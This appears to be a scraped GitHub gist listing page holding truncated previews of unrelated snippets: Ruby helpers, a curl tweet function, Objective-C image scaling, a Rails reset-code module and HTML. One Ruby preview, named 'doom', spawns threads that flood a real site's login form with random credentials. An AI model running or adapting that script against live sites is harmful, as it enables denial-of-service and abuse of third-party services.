This is an overview over the inner workings of Detexify. Extended knowlege in pattern recognition or machine learning is not necessary as I will explain some basics but understanding of linear algebra will definitely help. I have to note that I am not an expert, either. I more or less stumbled into this because of this project. Experts in this field may safely skip the first section.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'mechanize' | |
| def r; (0...10).map { (c = [('0'..'9'),('A'..'Z'),('a'..'z')].map {|r| r.to_a}.flatten)[rand(c.size)] }.join end | |
| cnt = 0 | |
| doom = lambda do | |
| Thread.new do | |
| WWW::Mechanize.new.get('http://databa.be/') do |p| | |
| p.form_with(:action => '/?login_attempt=1') do |f| | |
| f.email = "#{r}@#{r}.com" | |
| f.pass = r | |
| end.click_button rescue "Fuck you!" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'open-uri' | |
| require 'cgi' | |
| require 'restclient' | |
| require 'rmagick' | |
| MATHTRAN = "http://www.mathtran.org/cgi-bin/mathtran" | |
| def get tex | |
| RestClient.get("#{MATHTRAN}?tex=#{CGI::escape(tex)}") | |
| end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # $ tweet Hi mom! | |
| # | |
| # Put this in ~/.bashrc or wherever. | |
| # If it doesn't work, make sure your ~/.netrc is right | |
| # | |
| # (Thanks to @anildigital and @grundprinzip for curl-fu) | |
| function tweet { | |
| curl -n -d status="$*" https://twitter.com/statuses/update.xml --insecure &> /dev/null | |
| echo "tweet'd" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| CGSize imageSize = image.size; | |
| CGSize targetSize = CGSizeMake(36.0, 36.0); | |
| CGFloat scaleFactor = 1.0; | |
| CGFloat scaledWidth = imageSize.width; | |
| CGFloat scaledHeight = imageSize.height; | |
| CGPoint scaledOrigin = CGPointMake(0.0,0.0); | |
| CGFloat widthFactor = targetSize.width / imageSize.width; | |
| CGFloat heightFactor = targetSize.height / imageSize.height; | |
| // only scale if larger than target | |
| if ((image.size.width > targetSize.width) || (image.size.height > targetSize.height)) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| module Zweitag | |
| # following migration needed | |
| # | |
| # class AddResetCodeToUser < ActiveRecord::Migration | |
| # def self.up | |
| # add_column :users, :reset_code, :string | |
| # end | |
| # | |
| # def self.down | |
| # remove_column :users, :reset_code |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| <head> | |
| <title>Page Title</title> | |
| <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js"></script> | |
| <style type="text/css" media="screen"> | |
| #inner, .scrolling { | |
| margin:0; | |
| padding:0; | |
| } | |
| #outer { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| class Array | |
| def delete_at_random l | |
| res = [] | |
| l.times { res << delete_at(rand(size)) } | |
| res | |
| end | |
| end | |
| if __FILE__ == $0 | |
| require "test/unit" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| class Array | |
| def random_slice lenght | |
| values_at(*(1..lenght).inject([]){|a,_|a.include?(r=rand(size))?redo:a<<r}) | |
| end | |
| end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| class Array | |
| def random_slice length | |
| values_at(*(1..length).inject([]){|a,_|a.include?(r=rand(size))?redo:a<<r}) | |
| end | |
| end |